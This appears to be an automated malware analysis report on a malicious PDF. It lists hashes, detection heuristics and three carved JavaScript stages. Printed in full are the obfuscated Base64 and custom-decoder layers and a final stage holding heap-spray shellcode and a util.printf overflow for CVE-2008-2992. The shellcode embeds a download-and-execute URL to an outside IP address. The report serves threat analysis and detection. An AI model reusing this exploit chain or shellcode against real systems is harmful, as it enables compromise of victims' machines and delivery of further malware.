Malicious PDF — malware analysis report

Static analysis result for SHA-256 8370622de69fc114…

MALICIOUS

PDF

4.1 KB First seen: 2026-05-03
MD5: e8b8feaab7dc20798a92dd1cbd6536ed SHA-1: 2772561cf408cebb68ded7439ecf067c2778915c SHA-256: 8370622de69fc114bbbc32a82b211c64ed73fbc0f94d67a41c36c030c8ae88fb
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits CVE-2008-2992, a known vulnerability in Adobe Reader. The script decodes and evaluates obfuscated JavaScript, which in turn contains a URL used to download a second-stage payload. The embedded URL is http://93.174.93.11/~delmonca/u/load.php.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-7278074-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7278074-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frota4MGMt.elqpYEiw/FUfUr Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6405 bytes
SHA-256: c2f506c171712523ac18b520d952b291556e419f47d4a94ce567419bcbed6b5f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gQk5jaEgyYkQ3MGNwMlIobTVDMUpkRVFONnlHKXsgcmV0dXJuIFN0cmluZ1snZnJvbUNoYXJDb2RlJ10obTVDMUpkRVFONnlHKTt9IGZ1bmN0aW9uIFNuVWVHYWdtRU03MyhiUE9neil7IHZhciBwaVBaT1ZiMVFTRm5udD0wLCBxZHB1WTBFaGlRdzY9YlBPZ3oubGVuZ3RoLCBoRktVeWY4VXhyMj0xMDI0LCBFemNJamlVNUxCZEJQbiwgb0R0OGF1NG5NQ0csIGZER0JCPScnLCBUZzI5QmFnbD1waVBaT1ZiMVFTRm5udCwgWmY5YUJQYT1waVBaT1ZiMVFTRm5udCwgYVE5bDg3dFVyej1waVBaT1ZiMVFTRm5udCwgYW1ZeTlPUWVyTjhndDc9QXJyYXkoNjMsNTMsNDYsMjIsNTgsNTEsMzQsOCw0MCw2LDAsMCwwLDAsMCwwLDMzLDU3LDQyLDM3LDU1LDAsNTQsMTEsMywyMCw2MiwzNSw0LDE2LDI3LDE4LDUsMTIsMzgsMzksNDEsMzIsOSw0MywxNywzNiw2MSwwLDAsMCwwLDMxLDAsNTksNTYsNTAsMjQsMTMsNDUsNDcsMjUsMjEsNDQsNDksMjgsNTIsMzAsMjksNDgsMTQsMiwxMCwxNSwxLDIzLDcsMjYsMTksNjApOyBmb3Iob0R0OGF1NG5NQ0c9TWF0aC5jZWlsKHFkcHVZMEVoaVF3Ni9oRktVeWY4VXhyMik7b0R0OGF1NG5NQ0c+cGlQWk9WYjFRU0ZubnQ7b0R0OGF1NG5NQ0ctLSl7IGZvcihFemNJamlVNUxCZEJQbj1NYXRoLm1pbihxZHB1WTBFaGlRdzYsaEZLVXlmOFV4cjIpO0V6Y0lqaVU1TEJkQlBuPnBpUFpPVmIxUVNGbm50O0V6Y0lqaVU1TEJkQlBuLS0scWRwdVkwRWhpUXc2LS0peyBhUTlsODd0VXJ6fD0oYW1ZeTlPUWVyTjhndDdbYlBPZ3ouY2hhckNvZGVBdChUZzI5QmFnbCsrKS00OF0pPDxaZjlhQlBhOyBpZihaZjlhQlBhKXsgZkRHQkIrPUJOY2hIMmJENzBjcDJSKDEwNV5hUTlsODd0VXJ6JjI1NSk7IGFROWw4N3RVcno+Pj04OyBaZjlhQlBhLT0yOyB9IGVsc2UgeyBaZjlhQlBhPTY7IH0gfSB9IGV2YWwoZkRHQkIpOyB9IFNuVWVHYWdtRU03MygneExFSFBJVXI5bUVISWtrdVE4QHI3WXVIdWZMeWxtQzNvVFB5bG1DM29UUHlsbUMzb1RQeWxZMUdqanJ5bDhDM2xmcnlsejF2QkVQeWxMaTNXRVB5bExpM2hAUHlscGNHeFRQeWxwYzNvVFB5bHBjc2dVcnlscE9JaGtQeWx6Y0dqOHJ5bHpjR2d6cnlsTDFzblpyeWxtY0dva3J5bHBjR2p6cnlseml2anpyeWxwNjM4enJ5bEUxR18xUHlsbTEzZzhQeWxFMUdfMVB5bHpQR2piUHlscGNHaFRQeWxwY0dqanJ5bHppdmp6cnlsanJJaFRQeWx6UDNYQVB5bHByMzhVUHlsWUN2aFRQeWxwY0dkQFB5bHBjR2p6cnlsVXJzX1pQeWxqcklqanJ5bGJDdlhBUHlselB2ZEBQeWxZQ3ZqVVB5bHBjR2RacnlscGNHanpyeWxVcnNfWlB5bGpySWpiUHlsOHJzWEFQeWxVaTNsWnJ5bFlDdk4xcnlscGNHaDFyeWxwY0dqenJ5bFVyc19aUHlsanJJajhQeWxZaTNYQVB5bFkxR05AUHlsWUN2WFpyeWxwY0d4ZnJ5bHBjR2p6cnlsVXJzX1pQeWxqcklnenJ5bGpQR1hBUHlsWVBzTVpQeWxZQ3ZsQVB5bHBjR051UHlscGNHanpyeWxVcnNfWlB5bFVjR2dqcnlsbTZ2X1pyeWxFUHNOVHJ5bHoxdmRrUHlsejZ2OFVyeWxwT0loWlB5bHBjR2pwcnlsanIzanpyeWxFUHNfWlB5bHppdkJqcnlscGNzOFVyeWxwckdYa1B5bHppdld6UHlsejZ2V1VyeWxZQ3ZXRVB5bHBjR18xUHlscGNHanpyeWxMQ3ZXenJ5bHpydmZFUHlsRTFHQllQeWxiaUloQVB5bHBjR2p6cnlsejF2anpyeWx6NjM4VXJ5bGpQc18xUHlsajFHX1RyeWx6MXZXenJ5bDhjRzhVcnlsVWkzWEFQeWxwY0dqenJ5bGpjR2p6cnlsVXJzXzFQeWxMUHZnanJ5bGpjdmptcnlsanJzXzFQeWxZQ3ZnYlB5bHBjR1hrcnlscGNHanpyeWxVcnNqOHJ5bGppSUJ6cnlsajYzanpyeWw4cjNNQFB5bGppSVhAcnlscGNzOHpyeWxMUHNNQVB5bHBjR2p6cnlsRVBzZENQeWx6aXZCenJ5bHA2MzhVcnlscHJHWGtQeWx6aXZXelB5bHo2dldVcnlsVWNHaEFQeWxwY0dqenJ5bExQdmp6cnlsajZ2akxQeWxVcnNqOHJ5bG02c0JqcnlsajZzeDFQeWxVaTNXOHJ5bDhjR01AcnlsajZzV3pyeWxVcnNfMVB5bExQdmc4UHlsamN2alVyeWxqcnNfMVB5bFlDdmdiUHlscGNHQjhyeWxwY0dqenJ5bHBjR1hrUHlsRVBzZENQeWx6aXZCenJ5bHA2djhVcnlscE9HWGtQeWx6aXZXelB5bHo2dldVcnlsemNHaEFQeWxwY0dqenJ5bExQdmp6cnlseml2ZENQeWx6Y0c4VXJ5bHByR1hrUHlseml2V3pQeWx6NnZXVXJ5bHBjR2hBUHlscGNHanpyeWxVckdqenJ5bGpPR1dtUHlsWVBHajhyeWxZUEdqOHJ5bFlQR2o4cnlsWVBHajhyeWxZQzNfVHJ5bGpydmpqcnlseml2VzhyeWxZaUd4a1B5bGpPR2RQUHlsWTFHZENQeWx6aXZXVXJ5bHppdmhUUHlscDZ2TWZQeWxqYzNfMVB5bGpySWo4UHlsRUNzXzFQeWx6aXZmOFB5bHpyM01mcnlscDZzTUFQeWxqcklkVHJ5bEVQSV8xUHlscDZzQnpyeWxtNnNkVHJ5bFVjdk5aUHlsbTEzOHByeWxqQ3NqOHJ5bG02c1dFUHlscE8zZHVQeWx6Y0dsQFB5bFVpR2ZwUHlscDZ2TWZyeWxqUDNOa3J5bHA2c2pqUHlsVWNHZDFyeWxVUEdoMVB5bFVQM2ZtUHlsRVBzV1VQeWxqcnZoQHJ5bFlpdl8xUHlsanJ2XzFQeWxwNnNCanJ5bExQSXhmUHlscDYzXzFQeWx6aXY4bVB5bHo2M1dwUHlsODEzajhyeWxwY3NfMVB5bHA2c18xUHlsanIzTkByeWxqaUdXalB5bHBjR2piUHlsVTFzaEFQeWxVaTNkQFB5bGpyc2RDUHlsVTYzV21yeWxVTzM4alB5bHBjRzhVUHlsYml2X1BQeWxiaTNuMVB5bGoxR3hAcnlsOFBJTlpyeWxqUEd4VFB5bDhDdnhAUHlsalBHeDFQeWw4QzN4dVB5bDhQM05rcnlsajFHeEBQeWx6aXZua3J5bHpDc19rUHlsejFHXzFyeWx6QzNfa3J5bGoxR19AUHlsajFHbmtQeWx6MUdfVHJ5bHppdl9AUHlsYmkzTmtyeWxiaTNfUDFPRVZpT19VcDlWVFg5Tk1Qd3dwVTlzVU05UUxtT1FrWDM4WVBzUWtYMzhZUHNHdVlJX1VwOVZvRXVJZmkzT1p1ck5ZbUhxTTF1TDdZOXVwTXVQOFV1ZXBwWFBwcHVxbVhFT0FYRUVJRUh1VFg5TmxJdVFsVUhvTE1pdGJFTXhZazlyWEM5aGpASV9VcDlWb0V1R2p1aXhZazl3VHV3RzhYd05FcHVxTEkzUFpVSEVWMXc3alhPeG11RXFNQzloamtYeHBrcnhtazlFbFVIdUNpWHhZazl3aUVId2JNd3VNbUhxRVlJbkxFRVBwTU14bXVFcWxJdVFsVUhvTFVNdGJNaWhQa3ZoQ2kzaHVZOW9FVUhJVFh3RWJVTXhtdUVxN211TGpwOU9adXJOWUxyTmp1dUlvRUhuWUxzTmp1ck1MTE1PWlV1TkxMRXlNaTNPdXBMaUAxM2hDQ0lFUUBNcnVZTDdqazlMN0hFeU1IaXhtdUVxN1k5dXBNdVA4VXVlcEVQX1VwOVYxTXV3TUVpR0AxM011UElNdVBJTXVQSUdWbU9NdVBJTXUxT3JmTElNdVBJWFBpSVhQaUlYZllNR1BpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhmWU1HUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSUdWbU9YUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYUGlJWFBpSVhQMU9yZklJWFBpSVhQaUlYUGlJWFBpSUdWbU9YUGlJWFBpSVhQaUlYUGlJWFBpSVhQaUlYZllNR1BpSVhQaUlYUGlJWFBpSVhQaUlHVlB3b0VNdXdDazlFbE13dExtT1ExUHZoQ2kzdGpJWGVJcHVMRVlJJyk7");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3651 bytes
SHA-256: 1a2b7709b176392398e11d7ef651d8e737ef365e5ab9aa1493ed043fea542bb7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 21 of 40 identifiers look randomly generated (e.g. 'MuPIMuPIMuPIGVmOMuPIMu1OrfLIMuPIXPiIXPiI') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function BNchH2bD70cp2R(m5C1JdEQN6yG){ return String['fromCharCode'](m5C1JdEQN6yG);} function SnUeGagmEM73(bPOgz){ var piPZOVb1QSFnnt=0, qdpuY0EhiQw6=bPOgz.length, hFKUyf8Uxr2=1024, EzcIjiU5LBdBPn, oDt8au4nMCG, fDGBB='', Tg29Bagl=piPZOVb1QSFnnt, Zf9aBPa=piPZOVb1QSFnnt, aQ9l87tUrz=piPZOVb1QSFnnt, amYy9OQerN8gt7=Array(63,53,46,22,58,51,34,8,40,6,0,0,0,0,0,0,33,57,42,37,55,0,54,11,3,20,62,35,4,16,27,18,5,12,38,39,41,32,9,43,17,36,61,0,0,0,0,31,0,59,56,50,24,13,45,47,25,21,44,49,28,52,30,29,48,14,2,10,15,1,23,7,26,19,60); for(oDt8au4nMCG=Math.ceil(qdpuY0EhiQw6/hFKUyf8Uxr2);oDt8au4nMCG>piPZOVb1QSFnnt;oDt8au4nMCG--){ for(EzcIjiU5LBdBPn=Math.min(qdpuY0EhiQw6,hFKUyf8Uxr2);EzcIjiU5LBdBPn>piPZOVb1QSFnnt;EzcIjiU5LBdBPn--,qdpuY0EhiQw6--){ aQ9l87tUrz|=(amYy9OQerN8gt7[bPOgz.charCodeAt(Tg29Bagl++)-48])<<Zf9aBPa; if(Zf9aBPa){ fDGBB+=BNchH2bD70cp2R(105^aQ9l87tUrz&255); aQ9l87tUrz>>=8; Zf9aBPa-=2; } else { Zf9aBPa=6; } } } eval(fDGBB); } SnUeGagmEM73('xLEHPIUr9mEHIkkuQ8@r7YuHufLylmC3oTPylmC3oTPylmC3oTPylY1Gjjryl8C3lfrylz1vBEPylLi3WEPylLi3h@PylpcGxTPylpc3oTPylpcsgUrylpOIhkPylzcGj8rylzcGgzrylL1snZrylmcGokrylpcGjzrylzivjzrylp638zrylE1G_1Pylm13g8PylE1G_1PylzPGjbPylpcGhTPylpcGjjrylzivjzryljrIhTPylzP3XAPylpr38UPylYCvhTPylpcGd@PylpcGjzrylUrs_ZPyljrIjjrylbCvXAPylzPvd@PylYCvjUPylpcGdZrylpcGjzrylUrs_ZPyljrIjbPyl8rsXAPylUi3lZrylYCvN1rylpcGh1rylpcGjzrylUrs_ZPyljrIj8PylYi3XAPylY1GN@PylYCvXZrylpcGxfrylpcGjzrylUrs_ZPyljrIgzryljPGXAPylYPsMZPylYCvlAPylpcGNuPylpcGjzrylUrs_ZPylUcGgjrylm6v_ZrylEPsNTrylz1vdkPylz6v8UrylpOIhZPylpcGjpryljr3jzrylEPs_ZPylzivBjrylpcs8UrylprGXkPylzivWzPylz6vWUrylYCvWEPylpcG_1PylpcGjzrylLCvWzrylzrvfEPylE1GBYPylbiIhAPylpcGjzrylz1vjzrylz638UryljPs_1Pylj1G_Trylz1vWzryl8cG8UrylUi3XAPylpcGjzryljcGjzrylUrs_1PylLPvgjryljcvjmryljrs_1PylYCvgbPylpcGXkrylpcGjzrylUrsj8ryljiIBzrylj63jzryl8r3M@PyljiIX@rylpcs8zrylLPsMAPylpcGjzrylEPsdCPylzivBzrylp638UrylprGXkPylzivWzPylz6vWUrylUcGhAPylpcGjzrylLPvjzrylj6vjLPylUrsj8rylm6sBjrylj6sx1PylUi3W8ryl8cGM@rylj6sWzrylUrs_1PylLPvg8PyljcvjUryljrs_1PylYCvgbPylpcGB8rylpcGjzrylpcGXkPylEPsdCPylzivBzrylp6v8UrylpOGXkPylzivWzPylz6vWUrylzcGhAPylpcGjzrylLPvjzrylzivdCPylzcG8UrylprGXkPylzivWzPylz6vWUrylpcGhAPylpcGjzrylUrGjzryljOGWmPylYPGj8rylYPGj8rylYPGj8rylYPGj8rylYC3_TryljrvjjrylzivW8rylYiGxkPyljOGdPPylY1GdCPylzivWUrylzivhTPylp6vMfPyljc3_1PyljrIj8PylECs_1Pylzivf8Pylzr3Mfrylp6sMAPyljrIdTrylEPI_1Pylp6sBzrylm6sdTrylUcvNZPylm138pryljCsj8rylm6sWEPylpO3duPylzcGl@PylUiGfpPylp6vMfryljP3Nkrylp6sjjPylUcGd1rylUPGh1PylUP3fmPylEPsWUPyljrvh@rylYiv_1Pyljrv_1Pylp6sBjrylLPIxfPylp63_1Pylziv8mPylz63WpPyl813j8rylpcs_1Pylp6s_1Pyljr3N@ryljiGWjPylpcGjbPylU1shAPylUi3d@PyljrsdCPylU63WmrylUO38jPylpcG8UPylbiv_PPylbi3n1Pylj1Gx@ryl8PINZryljPGxTPyl8Cvx@PyljPGx1Pyl8C3xuPyl8P3Nkrylj1Gx@PylzivnkrylzCs_kPylz1G_1rylzC3_krylj1G_@Pylj1GnkPylz1G_Trylziv_@Pylbi3Nkrylbi3_P1OEViO_Up9VTX9NMPwwpU9sUM9QLmOQkX38YPsQkX38YPsGuYI_Up9VoEuIfi3OZurNYmHqM1uL7Y9upMuP8UueppXPppuqmXEOAXEEIEHuTX9NlIuQlUHoLMitbEMxYk9rXC9hj@I_Up9VoEuGjuixYk9wTuwG8XwNEpuqLI3PZUHEV1w7jXOxmuEqMC9hjkXxpkrxmk9ElUHuCiXxYk9wiEHwbMwuMmHqEYInLEEPpMMxmuEqlIuQlUHoLUMtbMihPkvhCi3huY9oEUHITXwEbUMxmuEq7muLjp9OZurNYLrNjuuIoEHnYLsNjurMLLMOZUuNLLEyMi3OupLi@13hCCIEQ@MruYL7jk9L7HEyMHixmuEq7Y9upMuP8UuepEP_Up9V1MuwMEiG@13MuPIMuPIMuPIGVmOMuPIMu1OrfLIMuPIXPiIXPiIXfYMGPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXfYMGPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIGVmOXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXPiIXP1OrfIIXPiIXPiIXPiIXPiIGVmOXPiIXPiIXPiIXPiIXPiIXPiIXfYMGPiIXPiIXPiIXPiIXPiIGVPwoEMuwCk9ElMwtLmOQ1PvhCi3tjIXeIpuLEYI');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.